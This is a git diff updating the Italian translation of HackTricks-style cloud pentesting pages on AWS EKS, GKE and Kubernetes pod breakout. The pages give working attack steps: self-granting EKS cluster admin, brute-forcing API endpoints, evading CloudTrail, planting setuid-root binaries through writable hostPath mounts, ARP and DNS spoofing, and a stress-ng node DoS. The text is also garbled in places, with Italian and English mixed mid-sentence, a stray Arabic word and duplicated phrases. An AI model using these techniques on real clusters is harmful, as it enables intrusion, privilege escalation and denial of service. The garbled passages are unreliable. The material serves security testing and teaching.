Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-val

This commit is contained in:
Translator
2026-07-09 09:22:33 +00:00
parent 5bb8f51408
commit 65c8b04210
11 changed files with 653 additions and 450 deletions
@@ -21,11 +21,11 @@ Se hai il permesso **`eks:AccessKubernetesApi`** puoi **visualizzare gli oggetti
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Non è così semplice:
- Not that easy way:
Se puoi **ottenere un token** con **`aws eks get-token --name <cluster_name>`** ma non hai i permessi per ottenere le info del cluster (describeCluster), potresti **preparare il tuo `~/.kube/config`**. Tuttavia, avendo il token, ti serve ancora il **url endpoint a cui connetterti** (se sei riuscito a ottenere un JWT token da un pod leggi [qui](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) e il **nome del cluster**.
If you can **ottenere un token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **preparare il tuo `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
Nel mio caso, non ho trovato le info nei log di CloudWatch, ma le ho **trovate nei userData dei LaunchTemaplates** e anche **nelle macchine EC2 nei userData**. Puoi vedere queste info nei **userData** facilmente, per esempio nel prossimo esempio (il nome del cluster era cluster-name):
In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -72,53 +72,53 @@ provideClusterInfo: false
### Da AWS a Kubernetes
Il **creator** del **cluster EKS** avrà **SEMPRE** la possibilità di accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (k8s admin). Al momento in cui scriviamo **non esiste un modo diretto** per sapere **chi ha creato** il cluster (puoi controllare CloudTrail). E **non c'è modo** di **rimuovere** questo **privilege**.
Storicamente, il **creator** di un **EKS cluster** riceveva un accesso admin nascosto a Kubernetes che non era visibile in `aws-auth`. Negli attuali EKS clusters, questo dipende dalla cluster access configuration. `bootstrapClusterCreatorAdminPermissions` controlla se il creator viene aggiunto come cluster-admin access entry durante la creazione, e gli EKS access entries rendono questo percorso admin visibile e revocabile tramite la EKS API. I cluster più vecchi o i cluster che si basano ancora su `aws-auth` potrebbero avere ancora il comportamento legacy del creator, quindi verifica `accessConfig`, elenca gli access entries e controlla CloudTrail invece di assumere che il creator abbia sempre `system:masters` non rimovibile.
#### Abusing configmap
Il modo tradizionale per concedere **accesso a over K8s a più utenti o ruoli AWS IAM** è usando la **configmap** **`aws-auth`**.
Il modo tradizionale per concedere **accesso over K8s a più AWS IAM users o roles** è usare il **configmap** **`aws-auth`**.
> [!WARNING]
> Quindi, chiunque abbia **write access** sulla config map **`aws-auth`** potrà **compromettere l'intero cluster**.
> Pertanto, chiunque abbia **write access** sul config map **`aws-auth`** potrà **compromettere l'intero cluster**.
Per maggiori informazioni su come **concedere privilegi extra a ruoli e utenti IAM** nello **stesso o diverso account** e su come **abusing** questo per [**privesc controlla questa pagina**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Per maggiori informazioni su come **concedere privilegi extra a IAM roles & users** nello **stesso o diverso account** e su come **abuse** questo per [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Guarda anche[ **questo ottimo**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per imparare come funziona l'autenticazione IAM -> Kubernetes**.
Controlla anche[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per imparare come funziona l'autenticazione IAM -> Kubernetes**.
#### Abusing Access Entries
AWS implementa un modo aggiuntivo per concedere agli utenti IAM accesso al cluster Kubernetes tramite access entries. Se hai i permessi `eks:CreateAccessEntry` e `eks:AssociateAccessPolicy`, potresti anche essere in grado di assegnare un ruolo di amministratore Kubernetes al tuo utente o a un ruolo specifico.
AWS implementa un modo aggiuntivo per concedere agli IAM users accesso al Kubernetes cluster tramite access entries. Se hai i permessi `eks:CreateAccessEntry` e `eks:AssociateAccessPolicy`, potresti anche essere in grado di assegnare un ruolo da amministratore Kubernetes al tuo user o a un role specifico.
Per prima cosa, **crea un access entry per il tuo utente o ruolo**:
Per prima cosa, **crea un access entry per il tuo user o role**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
Con quella voce creata, ora potresti essere in grado di assegnarle direttamente una policy. Esiste una policy AWS integrata chiamata *AmazonEKSClusterAdminPolicy* che può essere usata direttamente. Tieni presente che, se il tuo ambiente ha altre policy personalizzate che concedono anche privilegi elevati in EKS, puoi modificare `--policy-arn` con una qualsiasi di quelle:
Con quella voce creata, ora potresti essere in grado di assegnargli direttamente una policy. Esiste una policy AWS integrata chiamata *AmazonEKSClusterAdminPolicy* che può essere usata direttamente. Tieni presente che, se il tuo ambiente ha altre custom policies che concedono anche privilegi elevati in EKS, puoi cambiare `--policy-arn` con una qualsiasi di quelle:
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
Puoi cercare questa policy nella documentazione ufficiale di AWS [**qui**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
Da questo punto in poi, potresti ora essere in grado di richiedere un token *k8s* e interagire con il cluster come amministratore:
Da questo momento in poi, potresti ora essere in grado di richiedere un token *k8s* e interagire con il cluster come amministratore:
```
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
```
### Da Kubernetes a AWS
### Da Kubernetes ad AWS
È possibile consentire un'autenticazione **OpenID per kubernetes service account** per permettere loro di assumere ruoli in AWS. Scopri come [**questo funziona in questa pagina**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### GET Api Server Endpoint da un JWT Token
### GET Api Server Endpoint from a JWT Token
Decodificando il token JWT otteniamo l'id del cluster e anche la regione. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sapendo che il formato standard per l'url EKS è
Decodificando il token JWT otteniamo l'id del cluster e anche la region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sapendo che il formato standard per l'url EKS è
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
Non ho trovato alcuna documentazione che spieghi i criteri per i 'two chars' e il 'number'. Ma facendo alcuni test da parte mia ne vedo ricorrenti questi:
Non ho trovato alcuna documentazione che spieghi i criteri per i "due chars" e il "number". Però facendo alcuni test da parte mia vedo che ricorrono questi:
- gr7
- yl4
Comunque sono solo 3 chars, possiamo bruteforcarli. Usa lo script qui sotto per generare la lista
In ogni caso sono solo 3 chars, possiamo bruteforzarli. Usa lo script qui sotto per generare la lista
```python
from itertools import product
from string import ascii_lowercase
@@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
### Bypass CloudTrail
Se un attacker ottiene le credenziali di un AWS con **permission over an EKS**. Se l'attacker configura il proprio **`kubeconfig`** (senza chiamare **`update-kubeconfig`**) come spiegato in precedenza, **`get-token`** non genera log in Cloudtrail perché non interagisce con l'API AWS (crea solo il token localmente).
Se un attacker ottiene le credenziali di un AWS con **permission over an EKS**. Se l'attacker configura il proprio **`kubeconfig`** (senza chiamare **`update-kubeconfig`**) come spiegato in precedenza, **`get-token`** non genera log in Cloudtrail perché non interagisce con la AWS API (crea solo il token localmente).
Quindi, quando l'attacker comunica con il cluster EKS, **cloudtrail non registrerà nulla relativo all'utente rubato e al suo accesso**.
Quindi quando l'attacker parla con il cluster EKS, **cloudtrail non registrerà nulla relativo all'utente rubato e al suo accesso**.
Nota che il cluster **EKS potrebbe avere i log abilitati** che registreranno questo accesso (anche se, per impostazione predefinita, sono disabilitati).
Nota che il **cluster EKS potrebbe avere i log abilitati** che registreranno questo accesso (anche se, per impostazione predefinita, sono disabilitati).
### EKS Ransom?
Per impostazione predefinita, l'**user or role that created** un cluster avrà **SEMPRE** privilegi admin sul cluster. Ed è l'unico accesso "secure" che AWS avrà sul cluster Kubernetes.
Per impostazione predefinita, l'**user o role che ha creato** un cluster avrà **SEMPRE** privilegi admin sul cluster. Ed è l'unico accesso "secure" che AWS avrà sul cluster Kubernetes.
Quindi, se un **attacker compromette un cluster usando fargate** e **rimuove tutti gli altri admin** e d**elete the AWS user/role that created** il Cluster, ~~l'attacker potrebbe aver **ransomato il cluste**~~**r**.
Quindi, se un **attacker compromette un cluster usando fargate** e **rimuove tutti gli altri admin** ed **elimina l'utente/role AWS che ha creato** il Cluster, ~~l'attacker potrebbe aver **riscattato il cluster**~~**r**.
> [!TIP]
> Nota che se il cluster usava **EC2 VMs**, potrebbe essere possibile ottenere privilegi Admin dal **Node** e recuperare il cluster.
> Nota che se il cluster stava usando **EC2 VMs**, potrebbe essere possibile ottenere privilegi Admin dal **Node** e recuperare il cluster.
>
> In realtà, se il cluster usa Fargate potresti usare nodi EC2 o spostare tutto su EC2 nel cluster e recuperarlo accedendo ai token nel node.
> In realtà, se il cluster usa Fargate potresti usare nodi EC2 o spostare tutto su EC2 nel cluster e recuperarlo accedendo ai token nel nodo.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Containers
Nei containers di GCP puoi trovare la maggior parte dei servizi basati su containers offerti da GCP, qui puoi vedere come enumerare quelli più comuni:
Nei container di GCP puoi trovare la maggior parte dei servizi basati su container offerti da GCP, qui puoi vedere come enumerare i più comuni:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### Privesc
Nella seguente pagina puoi vedere come **abuse container permissions per escalare privilegi**:
Nella seguente pagina puoi vedere come **abuse i permessi dei container per escalare privilegi**:
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
@@ -32,7 +32,7 @@ Nella seguente pagina puoi vedere come **abuse container permissions per escalar
## Node Pools
Questi sono il pool di macchine (nodes) che formano i clusters kubernetes.
Questi sono i pool di macchine (nodes) che formano i cluster kubernetes.
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -40,7 +40,7 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
```
## Kubernetes
Per informazioni su cosa sia Kubernetes, consulta questa pagina:
Per informazioni su cosa sia Kubernetes, controlla questa pagina:
{{#ref}}
../../kubernetes-security/
@@ -54,7 +54,7 @@ Se hai un cluster, puoi fare in modo che `gcloud` configuri automaticamente il t
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Quindi, dai un'occhiata al file `~/.kube/config` per vedere le credenziali generate. Questo file verrà usato per aggiornare automaticamente i token di accesso in base alla stessa identità che sta usando la tua sessione `gcloud` attiva. Questo, ovviamente, richiede che siano presenti i permessi corretti.
Poi, dai un'occhiata al file `~/.kube/config` per vedere le credenziali generate. Questo file verrà usato per aggiornare automaticamente gli access token in base alla stessa identity che sta usando la tua sessione `gcloud` attiva. Questo, ovviamente, richiede che siano presenti i permessi corretti.
Una volta configurato, puoi provare il seguente comando per ottenere la configurazione del cluster.
```
@@ -66,9 +66,9 @@ Questo è uno script semplice per enumerare kubernetes in GCP: [https://gitlab.c
### Current GKE identity and metadata checks
Quando esamini cluster GKE moderni, separa i permessi Google Cloud IAM, Kubernetes RBAC, pod workload identity e le credenziali del nodo. Un principal Google può spesso recuperare i dati dell'endpoint del cluster con `container.clusters.get`, ma le richieste Kubernetes risultanti devono comunque superare l'autorizzazione GKE/Kubernetes e qualsiasi restrizione di rete come private endpoints o authorized networks.
Quando analizzi cluster GKE moderni, separa i permessi Google Cloud IAM, Kubernetes RBAC, l'identità del workload del pod e le credenziali del node. Un principal Google può spesso recuperare i dati dell'endpoint del cluster con `container.clusters.get`, ma le richieste Kubernetes risultanti devono comunque superare l'autorizzazione GKE/Kubernetes e qualsiasi restrizione di rete come private endpoints o authorized networks.
Workload Identity Federation per GKE è il modo preferito per consentire ai pod di accedere alle API Google Cloud. Verifica se il cluster ha un workload pool e se gli account di servizio Kubernetes sono mappati direttamente come IAM principals o sono autorizzati a impersonare IAM service accounts:
Workload Identity Federation per GKE è il modo preferito per consentire ai pod di accedere alle Google Cloud APIs. Verifica se il cluster ha un workload pool e se i Kubernetes service accounts sono mappati direttamente come IAM principals o se possono impersonare IAM service accounts:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,17 +76,31 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
Se un service account ha l'annotazione `iam.gke.io/gcp-service-account`, esamina la policy IAM del service account per concessioni di `roles/iam.workloadIdentityUser` a principal di Kubernetes service account. Controlla anche le allow policy IAM per principal di Workload Identity diretti o insiemi di principal troppo ampi.
Se un service account ha l'annotazione `iam.gke.io/gcp-service-account`, esamina la policy dell'IAM service account per concessioni `roles/iam.workloadIdentityUser` ai principal del Kubernetes service account. Controlla anche le IAM allow policies per principal di workload identity diretti o concessioni ampie `principalSet://`, come accesso a livello di namespace o di cluster per i workload. L'annotazione `iam.gke.io/credential-quota-project` sposta solo la quota dell'API IAM Service Account Credentials su un altro project; il principal del workload deve comunque avere `serviceusage.services.use` su quel quota project e accesso IAM separato alla risorsa di destinazione.
L'accesso ai metadata dipende dalla modalità del cluster, dalla configurazione del node pool e dalle impostazioni del workload. Non dare per scontato che ogni pod possa rubare il service account del nodo. Negli ambienti con Workload Identity abilitato, i pod ordinari dovrebbero usare il GKE metadata server per ottenere l'identità di Workload Identity prevista per il loro Kubernetes service account. La compromissione del nodo, i pod `hostNetwork` in alcune configurazioni Standard e l'esposizione legacy dei metadata del nodo possono ancora cambiare il raggio d'impatto, quindi verifica la reale modalità dei metadata del node pool, il node service account, gli OAuth scopes e il posizionamento dei pod.
L'accesso ai metadata dipende dalla modalità del cluster, dalla configurazione del node pool e dalle impostazioni del workload. Non dare per scontato che ogni pod possa rubare il node service account. Negli ambienti abilitati a Workload Identity, i pod ordinari dovrebbero usare il GKE metadata server per ottenere la workload identity prevista per il loro Kubernetes service account. Il compromesso del node, i pod `hostNetwork` in alcune configurazioni Standard e l'esposizione legacy dei metadata del node possono ancora cambiare il blast radius, quindi verifica la reale modalità dei metadata del node pool, il node service account, gli OAuth scopes e il posizionamento dei pod.
Se un pod abilitato a Workload Identity non riesce a ottenere un token, controlla anche il NetworkPolicy egress prima di presumere che il binding IAM sia errato. I cluster GKE Standard che usano NetworkPolicy devono consentire il path al metadata-server richiesto dalla versione del cluster e dal dataplane, e Dataplane V2 usa il path `169.254.169.254` per l'accesso al metadata-server.
### Autopilot privileged workload allowlists
GKE Autopilot blocca di default la maggior parte dei privileged workloads, ma possono esistere eccezioni approvate. Esamina le privileged admission settings, gli oggetti `AllowlistSynchronizer` e gli oggetti `WorkloadAllowlist` installati prima di presumere che un pod privilegiato sia impossibile:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
### TLS Boostrap Privilege Escalation
Inizialmente questa tecnica di privilege escalation permetteva di fare **privesc dentro il cluster GKE**, consentendo di fatto a un attacker di **comprometterlo بالكامل**.
Inizialmente questa tecnica di privilege escalation permetteva di **privesc inside the GKE cluster** consentendo di fatto a un attacker di **comprometterlo بالكامل**.
Questo perché GKE fornisce [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) nei metadata, che sono **accessibili a chiunque semplicemente compromettendo un pod**.
Questo perché GKE fornisce [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) nei metadata, che sono **accessibili da chiunque semplicemente compromettendo un pod**.
La tecnica usata è spiegata nei seguenti post:
La tecnica utilizzata è spiegata nei seguenti post:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
@@ -94,12 +108,12 @@ La tecnica usata è spiegata nei seguenti post:
E questo tool è stato creato per automatizzare il processo: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Tuttavia, la tecnica abusava del fatto che **con le credenziali dei metadata** era possibile **generare una CSR** (Certificate Signing Request) per un **nuovo nodo**, che veniva **approvata automaticamente**.\
Nei miei test ho verificato che **quelle richieste non vengono più approvate automaticamente**, quindi non sono sicuro che questa tecnica sia ancora valida.
Tuttavia, la tecnica sfruttava il fatto che **con le metadata credentials** era possibile **generare una CSR** (Certificate Signing Request) per un **nuovo node**, che veniva **approvato automaticamente**.\
Nel mio test ho verificato che **queste requests non vengono più approvate automaticamente**, quindi non sono sicuro che questa tecnica sia ancora valida.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
In [**questo post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) è stato scoperto è stato scoperto un indirizzo della Kubelet API accessibile dall'interno di un pod in GKE che forniva i dettagli dei pod in esecuzione:
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
```
curl -v -k http://10.124.200.1:10255/pods
```
@@ -4,13 +4,13 @@
## **Pod Breakout**
**Se sei abbastanza fortunato potresti riuscire a scappare da esso verso il node:**
**Se sei abbastanza fortunato, potresti riuscire a fuggire fino al node:**
![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
Per provare a escape dai pod potresti aver bisogno prima di **escalate privileges**, alcune tecniche per farlo:
Per provare a escape dai pod potresti dover prima **escalate privileges**, alcune tecniche per farlo:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
@@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
Se un pod/container compromesso ha un volume scrivibile che mappa direttamente sul filesystem dell'host (Kubernetes hostPath o Docker bind mount), e riesci a diventare root dentro il container, puoi sfruttare il mount per creare un binary setuid-root sull'host e poi eseguirlo dall'host per ottenere root.
Key conditions:
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
- The host filesystem backing the mount is not mounted with the nosuid option.
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
Condizioni chiave:
- Il volume montato è scrivibile dall'interno del container (readOnly: false e i permessi del filesystem consentono la scrittura).
- Il filesystem dell'host che supporta il mount non è montato con l'opzione nosuid.
- Hai qualche modo per eseguire il binary piazzato sull'host (ad esempio, SSH/RCE separata sull'host, un utente sull'host può eseguirlo, o un altro vettore che esegue binary da quel path).
How to identify writable hostPath/bind mounts:
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- From inside the container, list mounts and look for host-path mounts and test writability:
Come identificare hostPath/bind mounts scrivibili:
- Con kubectl, controlla i volumi hostPath: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Dall'interno del container, elenca i mount e cerca i mount host-path e verifica la scrivibilità:
```bash
# Inside the compromised container
mount | column -t
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
Piantare un binario setuid root dal container:
Pianta un binario setuid root dal container:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -61,20 +61,20 @@ Esegui sull'host per ottenere root:
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Notes and troubleshooting:
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
- This technique also works with plain Docker bind mounts; in Kubernetes its typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
Note e troubleshooting:
- Se il mount dell'host ha `nosuid`, i bit `setuid` verranno ignorati. Controlla le opzioni di mount sull'host (`cat /proc/mounts | grep <mountpoint>`) e cerca `nosuid`.
- Se non riesci a ottenere un execution path sull'host, mount scrivibili simili possono essere abusati per scrivere altri artifact di persistence/priv-esc sull'host se la directory mappata è critica per la sicurezza (ad es. aggiungi una root SSH key se il mount mappa in `/root/.ssh`, inserisci un cron/systemd unit se mappa in `/etc`, sostituisci un binary di proprietà di root in PATH che l'host eseguirà, ecc.). La fattibilità dipende interamente dal path montato.
- Questa tecnica funziona anche con i normali Docker bind mounts; in Kubernetes di solito è un volume `hostPath` (`readOnly: false`) oppure un `subPath` configurato in modo errato.
### Abusing Kubernetes Privileges
As explained in the section about **kubernetes enumeration**:
Come spiegato nella sezione su **kubernetes enumeration**:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges** attached to it that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in:
Di solito i pod vengono eseguiti con un **service account token** al loro interno. Questo service account potrebbe avere alcune **privileges** associate che potresti **abuse** per **move** verso altri pod o persino per **escape** verso i node configurati nel cluster. Controlla come in:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it.
Se il pod viene eseguito in un **cloud environment** potresti essere in grado di l**eak a token from the metadata endpoint** ed elevare i privilegi usando quel token.
## Search vulnerable network services
As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
Poiché ti trovi all'interno dell'ambiente Kubernetes, se non riesci a elevare i privilegi abusando dei privilegi dei pod correnti e non riesci a uscire dal container, dovresti **search potential vulnerable services.**
### Services
**For this purpose, you can try to get all the services of the kubernetes environment:**
**A questo scopo, puoi provare a ottenere tutti i services dell'ambiente kubernetes:**
```
kubectl get svc --all-namespaces
```
Di default, Kubernetes usa uno schema di networking piatto, il che significa che **qualsiasi pod/service all'interno del cluster può comunicare con gli altri**. I **namespace** all'interno del cluster **non hanno alcuna restrizione di sicurezza di rete di default**. Chiunque nel namespace può comunicare con altri namespace.
Per impostazione predefinita, Kubernetes usa uno schema di networking piatto, il che significa che **qualsiasi pod/service all'interno del cluster può comunicare con gli altri**. I **namespaces** all'interno del cluster **non hanno restrizioni di sicurezza di rete per impostazione predefinita**. Chiunque nel namespace può comunicare con altri namespaces.
### Scanning
Il seguente script Bash (preso da un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installerà e scannerizzerà gli intervalli IP del cluster kubernetes:
Il seguente script Bash (preso da un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installerà e scansionerà gli intervalli IP del cluster kubernetes:
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
Controlla la seguente pagina per scoprire come potresti **attaccare i servizi specifici di Kubernetes** per **compromettere altri pod/tutto l'ambiente**:
Controlla la seguente pagina per imparare come potresti **attaccare i servizi specifici di Kubernetes** per **compromettere altri pod/tutto l'ambiente**:
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
Nel caso in cui il **pod compromesso stia eseguendo un servizio sensibile** per cui altri pod devono autenticarsi, potresti riuscire a ottenere le credenziali inviate dagli altri pod **sniffando le comunicazioni locali**.
Nel caso in cui il **pod compromesso stia eseguendo un servizio sensibile** per cui altri pod devono autenticarsi, potresti essere in grado di ottenere le credenziali inviate dagli altri pod **sniffing local communications**.
## Network Spoofing
Per impostazione predefinita, tecniche come **ARP spoofing** (e grazie a questo **DNS Spoofing**) funzionano nella rete kubernetes. Quindi, all'interno di un pod, se hai la **NET_RAW capability** (che è presente di default), sarai in grado di inviare pacchetti di rete costruiti ad hoc ed eseguire **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Inoltre, se il **malicious pod** sta girando nello **stesso nodo del DNS Server**, potrai eseguire un **DNS Spoofing attack to all the pods in cluster**.
Per impostazione predefinita, tecniche come **ARP spoofing** (e grazie a questo **DNS Spoofing**) funzionano nella rete di kubernetes. Quindi, all'interno di un pod, se hai la **NET_RAW capability** (che è presente per impostazione predefinita), sarai in grado di inviare pacchetti di rete costruiti ad hoc ed eseguire **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Inoltre, se il **pod malevolo** sta girando nello **stesso node del DNS Server**, sarai in grado di eseguire un **DNS Spoofing attack to all the pods in cluster**.
{{#ref}}
kubernetes-network-attacks.md
@@ -138,23 +138,23 @@ kubernetes-network-attacks.md
## Node DoS
Non c'è specifica delle risorse nei manifest di Kubernetes e non sono applicati limiti per i container. Come attacker, possiamo **consumare tutte le risorse dove il pod/deployment è in esecuzione** e saturare le altre risorse e causare un DoS per l'ambiente.
Non c'è alcuna specifica delle risorse nei manifest di Kubernetes e **non sono applicati limit** ranges per i container. Come attacker, possiamo **consumare tutte le risorse dove il pod/deployment sta girando** e affamare altre risorse e causare un DoS per l'ambiente.
Questo può essere fatto con uno strumento come [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
Puoi vedere la differenza mentre esegui `stress-ng` e dopo
Puoi vedere la differenza mentre stai eseguendo `stress-ng` e dopo
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
Se sei riuscito a **escape from the container** ci sono alcune cose interessanti che troverai nel node:
Se sei riuscito a **uscire dal container** ci sono alcune cose interessanti che troverai nel node:
- Il processo **Container Runtime** (Docker)
- Altri **pods/containers** in esecuzione nel node che puoi abuse come questo (più tokens)
- L'intero **filesystem** e l'**OS** in generale
- Più **pod/container** in esecuzione nel node che puoi abusare come questo (più token)
- L'intero **filesystem** e **OS** in generale
- Il servizio **Kube-Proxy** in ascolto
- Il servizio **Kubelet** in ascolto. Controlla i file di config:
- Directory: `/var/lib/kubelet/`
@@ -171,9 +171,15 @@ Se sei riuscito a **escape from the container** ci sono alcune cose interessanti
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Image Pull and Registry Credentials
Dopo aver ottenuto accesso al node, controlla anche come il node scarica le immagini private. Indizi utili includono i metadati delle immagini del runtime (`crictl images`), `imagePullSecrets` di Pod o ServiceAccount, la configurazione del registry di containerd come `/etc/containerd/config.toml` e `/etc/containerd/certs.d`, e i flag del kubelet per il credential provider delle immagini come `--image-credential-provider-config` e `--image-credential-provider-bin-dir`.
Non assumere che un'immagine privata già in cache significhi di avere credenziali riutilizzabili per il registry. Potrebbe solo provare che l'immagine esiste su questo node. Tuttavia, credenziali statiche del registry nel runtime, Docker config JSON pull secrets, o un credential provider che può generare credenziali di pull a breve durata possono esporre l'accesso al registry privato. Le versioni recenti di Kubernetes supportano anche credential provider del kubelet basati su service-account-token per i pull delle immagini, quindi verifica se il provider sta usando token di service account vincolati al Pod e quale audience richiede prima di riportare l'impatto.
### Find node kubeconfig
Se non riesci a trovare il file kubeconfig in uno dei path precedentemente commentati, **controlla l'argomento `--kubeconfig` del processo kubelet**:
